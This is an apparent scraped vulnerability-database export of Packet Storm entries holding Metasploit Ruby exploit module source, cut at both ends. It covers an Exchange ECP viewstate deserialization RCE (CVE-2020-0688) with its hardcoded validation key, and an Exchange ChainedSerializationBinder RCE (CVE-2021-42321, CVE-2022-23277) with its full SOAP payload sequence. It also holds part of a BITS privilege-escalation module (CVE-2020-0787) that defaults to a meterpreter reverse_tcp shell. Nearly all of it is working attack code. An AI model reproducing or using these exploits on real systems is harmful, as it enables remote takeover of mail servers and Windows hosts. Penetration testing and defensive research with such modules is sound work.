Msf::Auxiliary::Report \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \nDEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' \nVALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\" \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Exchange Control Panel Viewstate Deserialization', \n'Description' => %q{ \nThis module exploits a .NET serialization vulnerability in the \nExchange Control Panel (ECP) web page. The vulnerability is due to \nMicrosoft Exchange Server not randomizing the keys on a \nper-installation basis resulting in them using the same validationKey \nand decryptionKey values. With knowledge of these, values an attacker \ncan craft a special viewstate to cause an OS command to be executed \nby NT_AUTHORITY\\SYSTEM using .NET deserialization. \n}, \n'Author' => 'Spencer McIntyre', \n'License' => MSF_LICENSE, \n'References' => [ \n['CVE', '2020-0688'], \n['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], \n], \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], \n[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], \n[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] \n], \n'DefaultOptions' => \n{ \n'SSL' => true \n}, \n'DefaultTarget' => 1, \n'DisclosureDate' => '2020-02-11', \n'Notes' => \n{ \n'Stability' => [ CRASH_SAFE, ], \n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], \n'Reliability' => [ REPEATABLE_SESSION, ], \n} \n)) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), \nOptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), \nOptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), \n]) \nend \n \ndef check \nstate = get_request_setup \nviewstate = state[:viewstate] \nreturn CheckCode::Unknown if viewstate.nil? \n \nviewstate = Rex::Text.decode_base64(viewstate) \nbody = viewstate[0...-20] \nsignature = viewstate[-20..-1] \n \nunless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature \nreturn CheckCode::Safe \nend \n \n# we've validated the signature matches based on the data we have and thus \n# proven that we are capable of signing a viewstate ourselves \nCheckCode::Vulnerable \nend \n \ndef generate_viewstate(generator, session_id, cmd) \nviewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) \nsignature = generate_viewstate_signature(generator, session_id, viewstate) \nRex::Text.encode_base64(viewstate + signature) \nend \n \ndef generate_viewstate_signature(generator, session_id, viewstate) \nmac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') \nmac_key_bytes << Rex::Text.to_unicode(session_id) \nOpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) \nend \n \ndef exploit \nstate = get_request_setup \n \n# the major limit is the max length of a GET request, the command will be \n# XML escaped and then base64 encoded which both increase the size \nif target.arch.first == ARCH_CMD \nexecute_command(payload.encoded, opts={state: state}) \nelse \ncmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first \nexecute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) \nend \nend \n \ndef execute_command(cmd, opts) \nstate = opts[:state] \nviewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) \n5.times do |iteration| \n# this request *must* be a GET request, can't use POST to use a larger viewstate \nsend_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => state[:cookies].join(''), \n'agent' => state[:user_agent], \n'vars_get' => { \n'__VIEWSTATE' => viewstate, \n'__VIEWSTATEGENERATOR' => state[:viewstate_generator] \n} \n}) \nbreak \nrescue Rex::ConnectionError, Errno::ECONNRESET => e \nvprint_warning('Encountered a connection error while sending the command, sleeping before retrying') \nsleep iteration \nend \nend \n \ndef get_request_setup \n# need to use a newer default user-agent than what Metasploit currently provides \n# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string \nuser_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), \n'method' => 'POST', \n'agent' => user_agent, \n'vars_post' => { \n'password' => datastore['PASSWORD'], \n'flags' => '4', \n'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), \n'username' => datastore['USERNAME'] \n} \n}) \nfail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? \ncookies = [res.get_cookies] \n \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => res.get_cookies, \n'agent' => user_agent \n}) \nfail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 \ncookies << res.get_cookies \n \nviewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0] \nif viewstate_generator.nil? \nprint_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\") \nviewstate_generator = DEFAULT_VIEWSTATE_GENERATOR \nelse \nvprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\") \nend \n \nviewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0] \nif viewstate.nil? \nvprint_warning('Failed to find the __VIEWSTATE value') \nend \n \nsession_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0] \nif session_id.nil? \nfail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') \nend \nvprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\") \n \n{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} \nend \nend \n`\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/156620/exchange_ecp_viewstate.rb.txt"}, {"lastseen": "2022-08-22T16:13:32", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-22T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321", "CVE-2022-23277"], "modified": "2022-08-22T00:00:00", "id": "PACKETSTORM:168131", "href": "https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'nokogiri' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HTTP::Exchange \ninclude Msf::Exploit::Deprecated \nmoved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce' \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE', \n'Description' => %q{ \nThis module exploits vulnerabilities within the ChainedSerializationBinder as used in \nExchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and \nExchange Server 2016 CU22 all prior to Mar22SU. \n \nNote that authentication is required to exploit these vulnerabilities. \n}, \n'Author' => [ \n'pwnforsp', # Original Bug Discovery \n'zcgonvh', # Of 360 noah lab, Original Bug Discovery \n'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild \n'Microsoft Security Response Center', # Discovery of exploitation in the wild \n'peterjson', # Writeup \n'testanull', # PoC Exploit \n'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D \n'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains \n'Markus Wulftange' # CVE-2022-23277 research \n], \n'References' => [ \n# CVE-2021-42321 references \n['CVE', '2021-42321'], \n['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'], \n['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'], \n['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'], \n['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'], \n['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'], \n# CVE-2022-23277 references \n['CVE', '2022-23277'], \n['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'], \n['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c'] \n], \n'DisclosureDate' => '2021-12-09', \n'License' => MSF_LICENSE, \n'Platform' => 'win', \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Command', \n{ \n'Arch' => ARCH_CMD, \n'Type' => :win_cmd \n} \n], \n[ \n'Windows Dropper', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :win_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :psh_invokewebrequest \n} \n} \n], \n[ \n'PowerShell Stager', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :psh_stager \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'HttpClientTimeout' => 5, \n'WfsDelay' => 10 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \nIOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169 \nCONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger. \n] \n} \n) \n) \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']), \nOptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']), \nOptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server']) \n]) \nend \n \ndef post_auth? \ntrue \nend \n \ndef username \ndatastore['HttpUsername'] \nend \n \ndef password \ndatastore['HttpPassword'] \nend \n \ndef cve_2021_42321_vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n'15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21 \n'15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22 \n'15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10 \n'15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11 \n] \nend \n \ndef cve_2022_23277_vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n'15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU \n'15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU \n'15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU \n'15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU \n'15.2.922.19', # Exchange Server 2019 CU10 Nov21SU \n'15.2.922.20', # Exchange Server 2019 CU10 Jan22SU \n'15.2.986.14', # Exchange Server 2019 CU11 Nov21SU \n'15.2.986.15' # Exchange Server 2019 CU11 Jan22SU \n] \nend \n \ndef check \n# Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version \ncurrent_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds) \nif current_build_rex.nil? \nreturn CheckCode::Unknown(\"Couldn't retrieve the target Exchange Server version!\") \nend \n \n@exchange_build = current_build_rex.to_s \n \nif cve_2021_42321_vuln_builds.include?(@exchange_build) \nCheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321\") \nelsif cve_2022_23277_vuln_builds.include?(@exchange_build) \nCheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277\") \nelse \nCheckCode::Safe(\"Exchange Server #{@exchange_build} does not appear to be a vulnerable version!\") \nend \nend \n \ndef exploit \nif @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it \n@exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s \nif @exchange_build.nil? \nfail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.') \nend \nend \n \nif cve_2021_42321_vuln_builds.include?(@exchange_build) \n@gadget_chain = :ClaimsPrincipal \nelsif cve_2022_23277_vuln_builds.include?(@exchange_build) \n@gadget_chain = :DataSetTypeSpoof \nelse \nfail_with(Failure::NotVulnerable, \"Exchange Server #{@exchange_build} is not a vulnerable version!\") \nend \n \ncase target['Type'] \nwhen :win_cmd \nexecute_command(payload.encoded) \nwhen :win_dropper \nexecute_cmdstager \nwhen :psh_stager \nexecute_command(cmd_psh_payload( \npayload.encoded, \npayload.arch.first, \nremove_comspec: true \n)) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \n# Get the user's inbox folder's ID and change key ID. \nprint_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\") \nxml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"inbox\" /> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_getfolder_inbox, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.code == 401 \nfail_with(Failure::NoAccess, \"Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\\\#{username}\") \nend \n \nxml_getfolder = res.get_xml_document \nxml_getfolder.remove_namespaces! \nxml_tag = xml_getfolder.xpath('//FolderId') \nif xml_tag.empty? \nprint_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!') \nfail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!') \nend \nunless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey') \nfail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!') \nend \nchange_key_val = xml_tag.attribute('ChangeKey').value \nfolder_id_val = xml_tag.attribute('Id').value \nprint_good(\"ChangeKey value for Inbox folder is #{change_key_val}\") \nprint_good(\"ID value for Inbox folder is #{folder_id_val}\") \n \n# Delete the user configuration object that currently on the Inbox folder. \nprint_status('Deleting the user configuration object associated with Inbox folder...') \nxml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:DeleteUserConfiguration> \n<m:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</m:UserConfigurationName> \n</m:DeleteUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_delete_inbox_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>} \nprint_good('Successfully deleted the user configuration object associated with the Inbox folder!') \nelse \nprint_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!') \nprint_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!') \nend \n \n# Now to replace the deleted user configuration object with our own user configuration object. \nprint_status('Creating the malicious user configuration object on the Inbox folder!') \n \nxml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:CreateUserConfiguration> \n<m:UserConfiguration> \n<t:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</t:UserConfigurationName> \n<t:Dictionary> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgChkTm</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Integer64</t:Type> \n<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgDO</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Boolean</t:Type> \n<t:Value>false</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n</t:Dictionary> \n<t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData> \n</m:UserConfiguration> \n</m:CreateUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_malicious_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>} \nfail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!') \nend \n \nprint_good('Successfully created the malicious user configuration object and associated with the Inbox folder!') \n \n# Deserialize our object. If all goes well, you should now have SYSTEM :) \nprint_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...') \nxml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetClientAccessToken> \n<m:TokenRequests> \n<t:TokenRequest> \n<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id> \n<t:TokenType>CallerIdentity</t:TokenType> \n</t:TokenRequest> \n</m:TokenRequests> \n</m:GetClientAccessToken> \n</soap:Body> \n</soap:Envelope>) \n \nbegin \nsend_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_get_client_access_token, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nrescue Errno::ECONNRESET \n# when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised \nend \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/168131/exchange_chainedserializationbinder_rce.rb.txt"}, {"lastseen": "2020-06-12T01:33:20", "description": "", "cvss3": {}, "published": "2020-06-11T00:00:00", "type": "packetstorm", "title": "Background Intelligent Transfer Service Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-0787"], "modified": "2020-06-11T00:00:00", "id": "PACKETSTORM:158056", "href": "https://packetstormsecurity.com/files/158056/Background-Intelligent-Transfer-Service-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::Windows::Priv \ninclude Msf::Exploit::EXE # Needed for generate_payload_dll \ninclude Msf::Post::Windows::FileSystem \ninclude Msf::Post::Windows::ReflectiveDLLInjection \ninclude Msf::Exploit::FileDropper \ninclude Msf::Post::File \ninclude Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability', \n'Description' => %q{ \nThis module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the \nBackground Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll \nwith a malicious DLL containing the attacker's payload. \n \nTo achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which \nwill result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking \nissue within the Update Session Orchestrator Service. \n \nNote that presently this module only works on Windows 10 and Windows Server 2016 and later as the \nUpdate Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, \nso your mileage may vary on Windows Server 2016 and later. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'itm4n', # PoC \n'gwillcox-r7' # msf module \n], \n'Platform' => ['win'], \n'SessionTypes' => ['meterpreter'], \n'Privileged' => true, \n'Arch' => [ARCH_X86, ARCH_X64], \n'Targets' => \n[ \n[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ], \n], \n'DefaultTarget' => 0, \n'DisclosureDate' => '2020-03-10', \n'References' => \n[ \n['CVE', '2020-0787'], \n['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'], \n['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'], \n['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'], \n['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'], \n['URL', 'https://itm4n.github.io/usodllloader-part1/'], \n['URL', 'https://itm4n.github.io/usodllloader-part2/'], \n], \n'Notes' => \n{ \n'SideEffects' => [ ARTIFACTS_ON_DISK ], \n'Reliability' => [ REPEATABLE_SESSION ], \n'Stability' => [ CRASH_SAFE ] \n}, \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'thread', \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'WfsDelay' => 900 \n} \n) \n) \n \nregister_options([ \nOptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]), \nOptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20]) \n]) \nend \n \ndef target_not_presently_supported \nprint_warning('This target is not presently supported by this exploit. Support may be added in the future!') \nprint_warning('Attempts to exploit this target with this module WILL NOT WORK!') \nend \n \ndef check \nsysinfo_value = sysinfo['OS'] \n \nif sysinfo_value !~ /windows/i \n# Non-Windows systems are definitely not affected. \nreturn CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') \nend \n \n# XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations. \nbuild_num_raw = session.shell_command_token('cmd.exe /c ver') \nbuild_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/) \nif build_num.nil? \nprint_error(\"Couldn't retrieve the target's build number!\") \nelse \nbuild_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0] \nprint_status(\"Target's build number: #{build_num}\") \nend \n \n# see https://docs.microsoft.com/en-us/windows/release-information/ \nunless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1903)/ \nreturn CheckCode::Safe('Target is not running a vulnerable version of Windows!') \nend \n \nbuild_num_gemversion = Gem::Version.new(build_num) \n \n# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/ \nif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.719')) # Windows 10 v1909 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.719')) # Windows 10 v1903 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) && (build_num_gemversion < Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0')) && (build_num_gemversion < Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < 